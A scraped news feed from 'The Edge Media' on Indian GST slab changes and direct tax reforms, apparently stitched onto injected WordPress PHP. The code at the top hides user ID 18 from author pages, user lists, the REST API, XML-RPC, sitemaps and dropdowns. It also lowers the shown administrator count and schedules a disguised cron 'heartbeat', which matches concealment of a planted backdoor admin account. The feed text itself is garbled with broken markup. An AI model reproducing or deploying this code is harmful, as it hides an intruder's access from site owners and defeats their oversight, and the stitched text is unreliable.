add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post GST Shake-Up: 5% & 18% Tax Slabs Approved – States Fear Revenue Crisis appeared first on The Edge Media.
]]>While the central government insists the move will simplify GST compliance, several opposition-ruled states fear it could devastate their finances. Under the current structure, states depend heavily on GST compensation to manage their budgets. With this adjustment, states argue that compensation may not be enough to offset the potential revenue shortfall.
Economists predict mixed outcomes. On the one hand, consolidation of slabs can make tax filing easier for businesses, reducing litigation and confusion. On the other hand, shifting many goods to the 18% slab could increase prices, directly affecting the middle class and small traders.
The debate is expected to heat up in the coming months as the GST Council prepares to present the proposal formally. Traders’ bodies, industry chambers, and consumer rights groups are already preparing their responses.
The post GST Shake-Up: 5% & 18% Tax Slabs Approved – States Fear Revenue Crisis appeared first on The Edge Media.
]]>The post Honest Taxpayers to be Honoured by PM Modi on Thursday appeared first on The Edge Media.
]]>
“The upcoming launch of the platform for ‘Transparent Taxation Honoring the Honest’ by the Prime Minister will further carry forward the journey of direct tax reforms, the Finance Ministry said in a statement on Wednesday.
The Ministry said the Central Board of Direct Taxes has carried out several major tax reforms in direct taxes in recent years. Last year the Corporate Tax rates were reduced from 30 per cent to 22 per cent and for new manufacturing units the rates were reduced to 15 per cent. Dividend distribution Tax was also abolished.
“The focus of the tax reforms has been on reduction in tax rates and on simplification of direct tax laws. Several initiatives have been taken by the CBDT for bringing in efficiency and transparency in the functioning of the I-T Department,” it said.
In the Budget, Finance Minister Nirmala Sitharaman had announced that CBDT will adopt a “taxpayer charter” which will ensure trust between a taxpayer and the administration and reduce harassment, as well as increase efficiency of the department. CBDT, which is the apex decision making body in direct tax matters, administers personal income tax and corporate tax.
“Wealth creators will be respected in this country,” she had said in her 2020-21 Budget speech. “We wish to enshrine in the statutes a “taxpayer charter” through this budget. Our government would like to reassure taxpayers that we remain committed to taking measures so that our citizens are free from harassment of any kind,” she had said.
– PTI
The post Honest Taxpayers to be Honoured by PM Modi on Thursday appeared first on The Edge Media.
]]>